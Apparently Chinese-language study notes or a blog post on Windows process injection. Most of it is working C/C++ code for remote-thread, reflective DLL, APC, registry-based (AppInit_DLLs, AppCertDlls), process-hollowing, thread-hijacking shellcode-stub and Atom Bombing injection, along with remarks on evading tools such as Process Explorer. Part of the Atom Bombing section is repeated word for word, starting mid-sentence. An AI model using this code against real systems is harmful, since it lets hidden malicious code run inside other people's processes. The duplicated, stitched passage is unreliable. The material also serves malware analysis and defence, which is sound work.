dll注入代码注入
dll注入&代碼注入
CreateRemoteThread
思路:在目標進程中申請一塊內存并向其中寫DLL路徑,然后調用 CreateRemoteThread ,**(在自己進程中 創建遠程線程到到目標進程)在目標進程中創建一個線程。**LoadLibrary()”函數作為線程的啟動函數,來加載待注入的DLL文件 ,LoadLibrary()參數 就是存放DLL路徑的內存指針. 這時需要目標進程的4個權限(PROCESS_CREATE_THREAD,PROCESS_QUERY_INFORMATION,PROCESS_VM_OPERATION,PROCESS_VM_WRITE)
//計算DLL路徑名所需的字節數DWORD dwSize = (lstrlenW(pszLibFile) + 1) * sizeof(wchar_t);// 獲取傳遞進程ID的進程句柄HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |PROCESS_CREATE_THREAD |PROCESS_VM_OPERATION |PROCESS_VM_WRITE,//目標進程的四個權限FALSE, dwProcessId);// 在遠程進程中為路徑名分配空間LPVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);// 將DLL的路徑名復制到遠程進程地址空間//pszLibFile:要注入的dll的路徑 pathnameDWORD n = WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID)pszLibFile, dwSize, NULL); //在Kernel32.dll中獲取LoadLibraryW的實際地址PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");//創建一個調用LoadLibraryW(DLLPathname)的遠程線程// CreateRemoteThread(目標進程句柄,NULL,0,線程函數指針,線程函數參數,0,NULL)HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pfnThreadRtn, pszLibFileRemote, 0, NULL); // 等待遠程線程終止WaitForSingleObject(hThread, INFINITE);// 釋放包含DLL路徑名的遠程內存并關閉句柄if (pszLibFileRemote != NULL) //開辟的內存已經注入進數據VirtualFreeEx(hProcess, pszLibFileRemote, 0, MEM_RELEASE);//關閉線程和進程函數句柄if (hThread != NULL)CloseHandle(hThread);if (hProcess != NULL)CloseHandle(hProcess);return(0); }RtlCreateUserThread
RtlCreateUserThread()”調用“NtCreateThreadEx(),這意味著“RtlCreateUserThread()”是“NtCreateThreadEx()”的一個小型封裝函數
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);LPVOID LoadLibraryAddress = (LPVOID)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");RtlCreateUserThread = (pRtlCreateUserThread)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlCreateUserThread");#ifdef _DEBUGwprintf(TEXT("[+] Found at 0x%08x\n"), (UINT)RtlCreateUserThread);wprintf(TEXT("[+] Found at 0x%08x\n"), (UINT)LoadLibraryAddress); #endifDWORD dwSize = (wcslen(pszLibFile) + 1) * sizeof(wchar_t);LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);BOOL bStatus = WriteProcessMemory(hProcess, lpBaseAddress, pszLibFile, dwSize, NULL);bStatus = (BOOL)RtlCreateUserThread(hProcess,NULL,0,0,0,0,LoadLibraryAddress,lpBaseAddress,&hRemoteThread,NULL);if (bStatus < 0) {wprintf(TEXT("[-] Error: RtlCreateUserThread failed\n"));return(1);}else {wprintf(TEXT("[+] Remote thread has been created successfully ...\n"));WaitForSingleObject(hRemoteThread, INFINITE);CloseHandle(hProcess);VirtualFreeEx(hProcess, lpBaseAddress, dwSize, MEM_RELEASE);return(0);}return(0); }總結:
openprocess 獲得目標進程句柄
getprocaddress 獲得loadlibrary地址
getprocaddress 獲得RtlCreateUserThread地址
獲得dll文件路徑大小
virtualalloc 在目標進程中開辟路徑大小的空間
writeprocess寫dll路徑名進內存
bStatus = (BOOL)RtlCreateUserThread(
hProcess,
NULL,
0,
0,
0,
0,
LoadLibraryAddress,
lpBaseAddress, 存有dll路徑的內存地址 指針類型
&hRemoteThread,
NULL);
NtCreateThreadEx
memset(&ntbuffer, 0, sizeof(NtCreateThreadExBuffer));DWORD dwSize = (lstrlenW(pszLibFile) + 1) * sizeof(wchar_t);HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |PROCESS_CREATE_THREAD |PROCESS_VM_OPERATION |PROCESS_VM_WRITE,FALSE, dwProcessId);LPVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);int n = WriteProcessMemory(hProcess, pszLibFileRemote, (LPVOID)pszLibFile, dwSize, NULL);PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");PTHREAD_START_ROUTINE ntCreateThreadExAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtCreateThreadEx");if (ntCreateThreadExAddr){ntbuffer.Size = sizeof(struct NtCreateThreadExBuffer);ntbuffer.Unknown1 = 0x10003;ntbuffer.Unknown2 = 0x8;ntbuffer.Unknown3 = (DWORD*)&dwTmp2;ntbuffer.Unknown4 = 0;ntbuffer.Unknown5 = 0x10004;ntbuffer.Unknown6 = 4;ntbuffer.Unknown7 = (DWORD*)&dwTmp1;ntbuffer.Unknown8 = 0;LPFUN_NtCreateThreadEx funNtCreateThreadEx = (LPFUN_NtCreateThreadEx)ntCreateThreadExAddr;NTSTATUS status = funNtCreateThreadEx(&hRemoteThread,0x1FFFFF,NULL,hProcess,pfnThreadRtn,(LPVOID)pszLibFileRemote,FALSE,NULL,NULL,NULL,&ntbuffer //這里原來是NULL,但是跑的時候也可以注入,懵逼);#ifdef _DEBUGwprintf(TEXT("[+] Status: %s\n"), status); #endifif (status != NULL) // FIXME: always returns NULL even when it suceeds. Go figure.{wprintf(TEXT("[-] NtCreateThreadEx Failed! [%d][%08x]\n"), GetLastError(), status);return(1);}else{wprintf(TEXT("[+] Success: DLL injected via NtCreateThreadEx().\n"));WaitForSingleObject(hRemoteThread, INFINITE);}}if (pszLibFileRemote != NULL)VirtualFreeEx(hProcess, pszLibFileRemote, 0, MEM_RELEASE);if (hRemoteThread != NULL)CloseHandle(hRemoteThread);if (hProcess != NULL)CloseHandle(hProcess);return(0); }總結:openprocess 獲得目標進程句柄
getprocaddress 獲得loadlibrary地址
getprocaddress 獲得NtCreateThreadEx地址
獲得dll文件路徑大小
virtualalloc 在目標進程中開辟路徑大小的空間
writeprocess寫dll路徑名進內存
利用NtCreateThreadEx 進行 dll注入
以上三種遠程線程注入函數的區別:
CreateRemoteThread 和RtlCreateUserThread都調用 NtCreateThreadEx創建線程實體
RtlCreateUserThread不需要csrss驗證登記 需要自己結束自己 而CreateRemoteThread 不一樣,不用自己結束自己。
線程函數不由createthread執行 而是kernal32!baseThreadStart 或者 kernal32!baseThreadInitThunk 執行,結束后 還會調用 exitthread 和 rtlexituserthread 結束線程自身 。
ZwCreateThreadEx
同理,與CreateRemoteThread或RtlCreateUserThread或NtCreateThreadEx用法類似,也是創建遠程線程實現注入
反射式dll注入
在別人的內存里調用自己編寫的dll導出函數 ,自己dll導出函數里實現自我加載(加載PE的整個過程),少了使用LoadLibrary的過程。
反射式注入方式并沒有通過LoadLibrary等API來完成DLL的裝載,DLL并沒有在操作系統中”注冊”自己的存在,因此ProcessExplorer等軟件也無法檢測出進程加載了該DLL
//LoadRemoteLibraryR 函數說明 extern "C" HANDLE __stdcall LoadRemoteLibraryR(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter);DWORD demoReflectiveDllInjection(PCWSTR cpDllFile, DWORD dwProcessId) {HANDLE hFile = NULL;//創建的dll文件句柄HANDLE hModule = NULL;//開辟的堆空間句柄HANDLE hProcess = NULL;//目標進程句柄LPVOID lpBuffer = NULL;DWORD dwLength = 0;DWORD dwBytesRead = 0;do{hFile = CreateFileW(cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);dwLength = GetFileSize(hFile, NULL);#ifdef _DEBUGwprintf(TEXT("[+] File Size: %d\n"), dwLength); #endif//為dll文件開辟堆空間 !!!!!!!!這是在自己的進程內存中 分配堆內存lpBuffer = HeapAlloc(GetProcessHeap(), 0, dwLength);//將dll文件讀進開辟的堆空間中 hfile--》lpbufferif (ReadFile(hFile, lpBuffer, dwLength, &dwBytesRead, NULL) == FALSE) BREAK_WITH_ERROR("[-] Failed to alloc a buffer!");//獲得目標進程的句柄hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId);// LoadRemoteLibraryR:在dll模塊加載到內存時獲取入口點,并且實現調用該函數(采用rtlcreateuserthread的方式)遠程線程注入hModule = LoadRemoteLibraryR(hProcess, lpBuffer, dwLength, NULL);WaitForSingleObject(hModule, -1);} while (0);//注入完畢,釋放堆空間,關閉進程句柄if (lpBuffer) HeapFree(GetProcessHeap(), 0, lpBuffer);if (hProcess) CloseHandle(hProcess);return 0; }LoadRemoteLibraryR核心代碼
//檢查庫是否有ReflectiveLoader// 獲得dll文件的入口點偏移dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer);//lpbuffer:堆內存的指針 指向存有dll文件的堆內存空間// alloc memory (RWX) in the host process for the image...//為映像分配內存lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, dwLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);// write the image into the host process...//將映像寫入目標進程/*BOOL WriteProcessMemory(HANDLE hProcess,LPVOID lpBaseAddress, 要寫的內存首地址LPVOID lpBuffer, 指向要寫的數據的指針DWORD nSize,LPDWORD lpNumberOfBytesWritten);*///將映像寫入目標進程 lpRemoteLibraryBuffer 在目標進程中分配的內存空間 lpBuffer在該進程內存空間中分配的堆內存// add the offset to ReflectiveLoader() to the remote library address...//lpRemoteLibraryBuffer 分配的內存地址 +dwReflectiveLoaderOffset 入口點偏移lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset);// create a remote thread in the host process to call the ReflectiveLoader!//OutputDebugString("INJECTING DLL!");//本身反射性dll 就隱蔽性高,自然不可以用createremoteprocessRtlCreateUserThread = (PRTL_CREATE_USER_THREAD)(GetProcAddress(GetModuleHandle(TEXT("ntdll")), "RtlCreateUserThread"));RtlCreateUserThread(hProcess, NULL, 0, 0, 0, 0, lpReflectiveLoader, lpParameter, &hThread, NULL); //lpReflectiveLoader 線程函數地址,dll入口函數地址 lpParameter 參數WaitForSingleObject(hThread, INFINITE);//釋放掉為dll映像分配的內存VirtualFreeEx(hProcess, lpRemoteLibraryBuffer, dwLength, MEM_RELEASE);} while (0);}__except (EXCEPTION_EXECUTE_HANDLER){hThread = NULL;}return hThread; }總結:
在自己進程內存中heapalloc
將dll文件 readfile進heapalloc出的內存中
openprocess 獲得進程句柄
LoadRemoteLibraryR 函數獲得dll入口函數的地址,并且利用遠程線程注入rtlcreateuserprocess 實現 對dll入口函數的調用。
{獲得dl文件的入口點偏移 : GetReflectiveLoaderOffset(lpBuffer);//lpbuffer:堆內存的指針 指向存有dll文件的堆內存空間
為映像分配內存 virtualalloc
writeprocessmemory 映像寫進目標進程內存
函數真實地址是 分配的內存首地址加上函數在dll文件中的偏移
遠程線程函數注入 call
}
SetWindowsHookE
APC注入
APC 異步過程調用
異步過程調用是一種能在特定線程環境中異步執行的系統機制。
MSDN說,要使用例如線程調用SignalObjectAndWait、WaitForSingleObjectE、WaitForMultipleObjectsEx、SleepEx等等等這些函數才會觸發
使用QueueUserAPC函數插入APC函數,QueueUserAPC內部調用的是NtQueueApcThread,再內部是KiUserApcDispatcher。
攻擊者可以將惡意代碼作為一個APC函數插入APC隊列(調用QueueUserAPC或NtQueueApcThread),而這段惡意代碼一般實現加載DLL的操作,實現DLL注入。
注入方法的原理:
1.當對面程序執行到某一個上面的等待函數的時候,系統會產生一個中斷
2.當線程喚醒的時候,這個線程會優先去Apc隊列中調用回調函數
3.我們利用QueueUserApc,往這個隊列中插入一個回調
4.插入回調的時候,把插入的回調地址改為LoadLibrary,插入的參數我們使用VirtualAllocEx申請內存,并且寫入進去,寫入的是Dll的路徑。
//1.查找窗口HWND hWnd = ::FindWindow(NULL, TEXT("APCTest"));if (NULL == hWnd){return;}/*2.獲得進程的PID,當然通用的則是你把進程PID當做要注入的程序,這樣不局限于窗口了.這里簡單編寫,進程PID可以快照遍歷獲取*/DWORD dwPid = 0;DWORD dwTid = 0;dwTid = GetWindowThreadProcessId(hWnd, &dwPid);//3.打開進程HANDLE hProcess = NULL;hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);if (NULL == hProcess){return;}//4.成功了,申請遠程內存void *lpAddr = NULL;lpAddr = VirtualAllocEx(hProcess, 0, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (NULL == lpAddr){return;}//5.寫入我們的DLL路徑,這里我寫入當前根目錄下的路徑char szBuf[] = "MyDll.dll";BOOL bRet = WriteProcessMemory(hProcess, lpAddr, szBuf, strlen(szBuf) + 1, NULL);if (!bRet){return;}//6.根據線程Tid,打開線程句柄HANDLE hThread = NULL;hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, dwTid);if (NULL == hThread){return;}//7.給APC隊列中插入回調函數QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)lpAddr);CloseHandle(hThread);CloseHandle(hProcess); DWORD QueueUserAPC( PAPCFUNCpfnAPC, // APC function 指向一個用戶提供的APC函數的指針 HANDLEhThread, // handle to thread 指定特定線程的句柄。 ULONG_PTRdwData // APC function parameter 指定一個被傳到pfnAPC參數指向的APC函數的值 );PAPCFUNCpfnAPC :這個函數將在指定線程執行an alertable wait operation操作時被調用。
AppLint_DLLs 注冊表項注入
1.概述:
這種注入方式有他的弊端,那就是注入的程序必須加載user32.dll,也就說通常是那些GUI程序才可以。原因是,每當啟動一個GUI程序,他都會掃描注冊表的AppInit_DLLs項,看看其中有沒有制定的目標庫,如果有,那就在程序運行時,首先主動加載該動態庫,所以我們只需要將Dll完整路徑寫在這個位置,就可完成注入。值得一提的是,這樣的Dll默認加載機制,,攜帶惡意代碼的Dll也會在此處注冊,所以Win7之后,Windows在同一個路徑下,增加了一個表項LoadAppInit_DLLs,它的默認值是0,也就是說不管你在AppInit_DLLs注冊什么Dll,那都沒用,不會被默認加載,所以想要順利完成注入,需要完成這個LoadAppInit_DLLs的修改,將其修改為1。
2.流程:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows下找到AppInit_DLLs和LoadAppInit_DLLs項
將AppInit_DLLs值修改為目標Dll完整路徑
修改LoadAppInit_DLLs值為1(意思是允許默認加載動態庫)
AppCert DLL 注入
如果有進程使用了CreateProcess、CreateProcessAsUser、CreateProcessWithLoginW、CreateProcessWithTokenW或WinExec
函數,那么此進程會獲取HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\AppCertDlls注冊表項,此項下的dll都會被加載到此進程。
此技術的實現邏輯是CreateProcess、CreateProcessAsUser、CreateProcessWithLoginW、CreateProcessWithTokenW或WinExec
函數在創建進程的時候其內部會調用BasepIsProcessAllowed函數,而BasepIsProcessAllowed則會打開AppCertDlls注冊表項,將此項下的dll都加載到進程中。
CreateProcess過程有七個階段,BasepIsProcessAllowed的過程發生在階段2——創建文件映像和兼容性檢查之間。
值得注意的是win xp-win 10 默認不存在這個注冊表項,為了利用該技術需要自行創建AppCertDlls項。
補充:CreateProcess過程有七個階段詳解CreateProcess調用內核創建進程的過程 - Gotogoo - 博客園 (cnblogs.com)
傀儡進程注入
也是進程內存替換
之前分析的病毒 使用傀儡進程注入(進程內存替換)達到進程隱藏的目的 ,傀儡進程是將目標進程的映射文件替換為指定的映射文件,替換后的進程稱之為傀儡進程;常常有惡意程序將隱藏在自己文件內的惡意代碼加載進目標進程,而在加載進目標進程之前,會利用ZwUnmpViewOfSection或者NtUnmapViewOfSection進行相關設置
流程概述:
直接將自身代碼注入傀儡進程,不需要DLL。首先用CreateProcess來創建一個掛起的IE進程,創建時候就把它掛起。然后得到它的裝載基址,使用函數ZwUnmapViewOfSection來卸載這個這個基址內存空間的數據,。再用VirtualAllocEx來個ie進程重新分配內存空間,大小為要注入程序的大小(就是自身的imagesize)。使用WriteProcessMemory重新寫IE進程的基址,就是剛才分配的內存空間的地址。再用WriteProcessMemory把自己的代碼寫入IE的內存空間。用SetThreadContext設置下進程狀態,最后使用ResumeThread繼續運行IE進程。
相關技術點
1.創建掛起進程
系統函數CreateProcessW中參數dwCreationFlgs傳遞CREATE_SUSPEND便可以創建一個掛起的進程,進程被創建之后系統會為它分配足夠的資源和初始化必要的操作,(常見的操作有:為進程分配空間,加載映像文件,創建主進程,將EIP指向代碼入口點,并將主線程掛起等)
CreateProcessA(strTargetProcess.c_str(),NULL,NUL NULL, FALSE,CREATE_SUSPENDED, NULL, NULL,&stSi, &stPi)2.利得到當前的線程上下文
相關的API和結構信息如下:
BOOL WINAPI GetThreadContext(__in HANDLE hThread,__in_out LPCONTEXT lpContext );typedef struct _CONTEXT {DWORD ContextFlags;DWORD Dr0;DWORD Dr1;DWORD Dr2;DWORD Dr3;DWORD Dr6;DWORD Dr7;DWORD SegGs;DWORD SegFs;DWORD SegEs;DWORD SegDs;DWORD Edi;DWORD Esi;DWORD Ebx;DWORD Edx;DWORD Ecx;DWORD Eax;DWORD Ebp;DWORD Eip;DWORD SegCs; // MUST BE SANITIZEDDWORD EFlags; // MUST BE SANITIZEDDWORD Esp;DWORD SegSs;BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION]; } CONTEXT;獲得線程信息代碼
CONTEXT stThreadContext;stThreadContext.ContextFlags = CONTEXT_FULL;if (GetThreadContext(stPi.hThread, &stThreadContext) == 0){return FALSE;}3.清空目標進程的內存空間
目標進程被初始化后,進程的映像文件也隨之被加載進對應的內存空間。傀儡進程在替換之前必須將目標進程的內容清除掉。此時要用到另外一個系統未文檔化的函數NtUnmapViewOfSection,需要自行從ntdll.dll中獲取。該函數需要指定的進程加載的基地址,基地址即是從第2步中的上下文取得。相關的函數說明及基地址計算方法如下:
NTSTATUS NtUnmapViewOfSection(_In_ HANDLE ProcessHandle,_In_opt_ PVOID BaseAddress );ontext.Ebx+ 8 = 基地址的地址,因此從context.Ebx + 8的地址讀取4字節的內容并轉化為DWORD類型,既是進程加載的基地址。
4.重新分配空間
在第3步中,NtUnmapViewOfSection將原始空間清除并釋放了,因此在寫入傀儡進程之前需要重新在目標進程中分配大小足夠的空間。需要用到跨進程內存分配函數VirtualAllocEx。
一般情況下,在寫入傀儡進程之前,需要將傀儡進程對應的文件按照申請空間的首地址作為基地址進行“重定位”,這樣才能保證傀儡進程的正常運行。為了避免這一步操作,可以以傀儡進程PE文件頭部的建議加載基地址作為VirtualAllocEx 的lpAddress參數,申請與之對應的內存空間,然后以此地址作為基地址將傀儡進程寫入目標進程,就不會存在重定位問題。關于“重定位”的原理可以自行網絡查找相關資料。
5.寫入傀儡進程
準備工作完成后,現在開始將傀儡進程的代碼寫入到對應的空間中,注意寫入的時候要按照傀儡進程PE文件頭標明的信息進行。一般是先寫入PE頭,再寫入PE節,如果存在附加數據還需要寫入附加數據。
6. 恢復現場并運行傀儡進程
在第2步中,保存的線程上下文信息需要在此時就需要及時恢復了。由于目標進程和傀儡進程的入口點一般不相同,因此在恢復之前,需要更改一下其中的線程入口點,需要用到系統函數SetThreadContext。將掛起的進程開始運行需要用到函數ResumeThread。
7.傀儡進程創建過程總結:
(1) CreateProcess一個進程,并掛起,即向dwCreationFlags 參數傳入CREATE_SUSPENDED;
(2) GetThreadContext獲取掛起進程CONTEXT,其中,EAX為進程入口點地址,EBX指向進程PEB;
(3) ZwUnmapViewOfSection卸載掛起進程內存空間數據;
(4) VirtualAlloc分配內存空間;
(5) WriteProcessMemory將惡意代碼寫入分配的內存;
(6) SetThreadContext設置掛起的進程的狀態;
(6) ResumeThread喚醒進程運行。
傀儡進程是惡意軟件隱藏自身代碼的常用方式,在調式過程中,若遇到傀儡進程,需要將創建的子進程數據從內存中dump出來,作為PE文件單獨調試,dump的時機為ResumeThead調用之前,此時傀儡進程內存數據已經完全寫入,進程還未正式開始運行。
若dump后文件無法運行,OD加載失敗,則需要做如下修復:
(1) FileAlignment值修改為SectionAlignment值;
(2) 所有section的Raw Address值修改為Virtual Address.
代碼:
32位環境下的代碼
0x68, 0xCC, 0xCC, 0xCC, 0xCC, // push 0xDEADBEEF (為返回地址占位) 0x9c, // pushfd (保存標志和寄存器) 0x60, // pushad 0x68, 0xCC, 0xCC, 0xCC, 0xCC, // push 0xDEADBEEF (為DLL路徑名稱占位) 0xb8, 0xCC, 0xCC, 0xCC, 0xCC, // mov eax, 0xDEADBEEF (為LoadLibrary函數占位) 0xff, 0xd0, // call eax (調用LoadLibrary函數) 0x61, // popad (恢復標志和寄存器) 0x9d, // popfd 0xc3 // ret64位環境
0x50, // push rax (保存RAX寄存器) 0x48, 0xB8, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rax, 0CCCCCCCCCCCCCCCCh (為返回地址占位) 0x9c, // pushfq 0x51, // push rcx 0x52, // push rdx 0x53, // push rbx 0x55, // push rbp 0x56, // push rsi 0x57, // push rdi 0x41, 0x50, // push r8 0x41, 0x51, // push r9 0x41, 0x52, // push r10 0x41, 0x53, // push r11 0x41, 0x54, // push r12 0x41, 0x55, // push r13 0x41, 0x56, // push r14 0x41, 0x57, // push r15 0x68,0xef,0xbe,0xad,0xde, // fastcall調用約定 0x48, 0xB9, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rcx, 0CCCCCCCCCCCCCCCCh (為DLL路徑名稱占位) 0x48, 0xB8, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rax, 0CCCCCCCCCCCCCCCCh (為LoadLibrary函數占位) 0xFF, 0xD0, // call rax (調用LoadLibrary函數) 0x58, // pop dummy 0x41, 0x5F, // pop r15 0x41, 0x5E, // pop r14 0x41, 0x5D, // pop r13 0x41, 0x5C, // pop r12 0x41, 0x5B, // pop r11 0x41, 0x5A, // pop r10 0x41, 0x59, // pop r9 0x41, 0x58, // pop r8 0x5F, // pop rdi 0x5E, // pop rsi 0x5D, // pop rbp 0x5B, // pop rbx 0x5A, // pop rdx 0x59, // pop rcx 0x9D, // popfq 0x58, // pop rax 0xC3 // ret在我們想目標進程注入這段代碼之前,以下占位符需要修改填充:
·返回地址(代碼樁執行完畢之后,線程恢復應回到的地址)
·DLL路徑名稱
·LoadLibrary()函數地址
而這也是進行劫持,掛起,注入和恢復線程這一系列操作的時機。
32位:
memcpy((void *)((unsigned long)sc + 1), &oldIP, 4);memcpy((void *)((unsigned long)sc + 8), &lpDllAddr, 4);memcpy((void *)((unsigned long)sc + 13), &LoadLibraryAddress, 4);64位:
memcpy(sc + 3, &oldIP, sizeof(oldIP));memcpy(sc + 41, &lpDllAddr, sizeof(lpDllAddr));memcpy(sc + 51, &LoadLibraryAddress, sizeof(LoadLibraryAddress));32位注入核心代碼:
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);DWORD LoadLibraryAddress = (DWORD)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");SIZE_T dwSize = (wcslen(pszLibFile) + 1) * sizeof(wchar_t);LPVOID lpDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); stub = VirtualAllocEx(hProcess, NULL, stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);BOOL bStatus = WriteProcessMemory(hProcess, lpDllAddr, pszLibFile, dwSize, NULL);threadID = getThreadID(dwProcessId);hThread = OpenThread((THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME), false, threadID);ctx.ContextFlags = CONTEXT_CONTROL;GetThreadContext(hThread, &ctx);oldIP = ctx.Eip;ctx.Eip = (DWORD)stub;ctx.ContextFlags = CONTEXT_CONTROL;VirtualProtect(sc, stubLen, PAGE_EXECUTE_READWRITE, &oldprot);memcpy((void *)((unsigned long)sc + 1), &oldIP, 4);memcpy((void *)((unsigned long)sc + 8), &lpDllAddr, 4);memcpy((void *)((unsigned long)sc + 13), &LoadLibraryAddress, 4);WriteProcessMemory(hProcess, stub, sc, stubLen, NULL);SetThreadContext(hThread, &ctx);ResumeThread(hThread);64位同理;
線程執行劫持
線程執行劫持技術和傀儡進程技術相似,傀儡進程替換的是整個進程而線程執行劫持替換的只是某一個線程。
線程執行劫持也需要先在RWX內存中寫入payload,寫入完畢后直接將線程執行地址替換為payload地址就行了:
Atom Bombing
1、Atom Table
是一個存儲字符串和相應標識符的系統定義表
應用程序將一個字符串放入一個 Atom 表中,并接收一個 16 位整數 (WORD) 作為標識 (稱為 Atom),可通過該標識訪問字符串內容,實現進程間的數據交換
分類:
(1) Global Atom Table
所有應用程序可用
當一個進程將一個字符串保存到 Global Atom Table 時,系統生成一個在系統范圍內唯一的 atom,來標示該字符串。在系統范圍之內所有的進程都可以通過該 atom(索引) 來獲得這個字符串,從而實現進程間的數據交換
(2) Local Atom Table
只有當前程序可用,相當于定義一個全局變量,如果程序多次使用該變量,使用 Local Atom Table 僅需要一次內存操作
常用 API:
添加一個 Global Atom:
ATOM WINAPI GlobalAddAtom(In LPCTSTR lpString);刪除一個 Global Atom:
ATOM WINAPI GlobalDeleteAtom(In ATOM nAtom);查找指定字符串對應的 Global Atom:
ATOM WINAPI GlobalFindAtom(In LPCTSTR lpString);獲取指定 atom 對應的字符串:
UINT WINAPI GlobalGetAtomName(In ATOM nAtom,Out LPTSTR lpBuffer,In int nSize );Atom Bombing注入
1、將任意數據寫入目標進程地址空間中的任意位置
整體思路:
使用GlobalAddAtom創建一個原子,寫入不含null的字符串,讓目標進程調用GlobalGetAtomNameA就可以向目標進程任意地址寫入任意代碼了。
細節:
自身進程通過 GlobalAddAtom 將 shellcode 添加到 Global Atom Table 中
通過 APC 注入(使用APC中的NtQueueApcThread函數另目標進程調用GlobalGetAtomNameA。使用NtQueueApcThread而不是QueueUserAPC是因為 GlobalGetAtomNameA有三個參數,NtQueueApcThread能傳遞三個參數而QueueUserAPC只能傳遞一個參數),使目標進程調用 GlobalGetAtomName, 即可從 Global Atom Table 中獲取 shellcode
總結:
通過GlobalAddAtom函數把數據放到原子表,
用APC在目標線程用GlobalGetAtomName把原子表里的數據放到遠程內存地址里
HANDLE th = OpenThread(THREAD_SET_CONTEXT | THREAD_QUERY_INFORMATION, FALSE,thread_id);for (char* pos = payload; pos < (payload + sizeof(payload)); pos += strlen(pos) + 1){ATOM a = GlobalAddAtomA(pos);// 添加全局原子DWORD64 offset = pos - payload;ntdll!NtQueueApcThread(th, GlobalGetAtomNameA, (PVOID)a,(PVOID)(((DWORD64)target_payload) + offset), (PVOID)(strlen(pos) + 1));// 向目標逐字節寫入payload}2.執行 shellcode
目標進程調用 GlobalGetAtomName 從 Global Atom Table 中獲取 shellcode 后,需要先保存 shellcode 再執行
找到一段 RW 的內存( KERNELBASE 數據段后未使用的空間)寫入數據,構造 ROP 鏈實現 shellcode 的執行
ROP 鏈實現了以下功能:
注入后需要恢復目標進程的執行
Windows 8.1 update 3 和 Windows 10 添加了一個新的保護機制 CFG
參數,NtQueueApcThread能傳遞三個參數而QueueUserAPC只能傳遞一個參數),使目標進程調用 GlobalGetAtomName, 即可從 Global Atom Table 中獲取 shellcode
總結:
通過GlobalAddAtom函數把數據放到原子表,
用APC在目標線程用GlobalGetAtomName把原子表里的數據放到遠程內存地址里
HANDLE th = OpenThread(THREAD_SET_CONTEXT | THREAD_QUERY_INFORMATION, FALSE,thread_id);for (char* pos = payload; pos < (payload + sizeof(payload)); pos += strlen(pos) + 1){ATOM a = GlobalAddAtomA(pos);// 添加全局原子DWORD64 offset = pos - payload;ntdll!NtQueueApcThread(th, GlobalGetAtomNameA, (PVOID)a,(PVOID)(((DWORD64)target_payload) + offset), (PVOID)(strlen(pos) + 1));// 向目標逐字節寫入payload}2.執行 shellcode
目標進程調用 GlobalGetAtomName 從 Global Atom Table 中獲取 shellcode 后,需要先保存 shellcode 再執行
找到一段 RW 的內存( KERNELBASE 數據段后未使用的空間)寫入數據,構造 ROP 鏈實現 shellcode 的執行
ROP 鏈實現了以下功能:
注入后需要恢復目標進程的執行
Windows 8.1 update 3 和 Windows 10 添加了一個新的保護機制 CFG
利用內存映射文件實現注入
內存映射文件,是由一個文件到一塊內存的映射。Win32提供了允許應用程序把文件映射到一個進程的函數
(CreateFileMapping)。內存映射文件與虛擬內存有些類似,通過內存映射文件可以保留一個地址空間的區域,同時將物理存儲器提交給此區域,內存文件映射的物理存儲器來自一個已經存在于磁盤上的文件,而且在對該文件進行操作之前必須首先對文件進行映射。使用內存映射文件處理存儲于磁盤上的文件時,將不必再對文件執行I/O操作,使得內存映射文件在處理大數據量的文件時能起到相當重要的作用。
在Windows下,創建操作共享內存的API主要有CreateFileMapping、MapViewOfFile、OpenFileMapping、FlushViewOfFile、UnmapViewOfFile等
利用目標進程共享內存進行注入
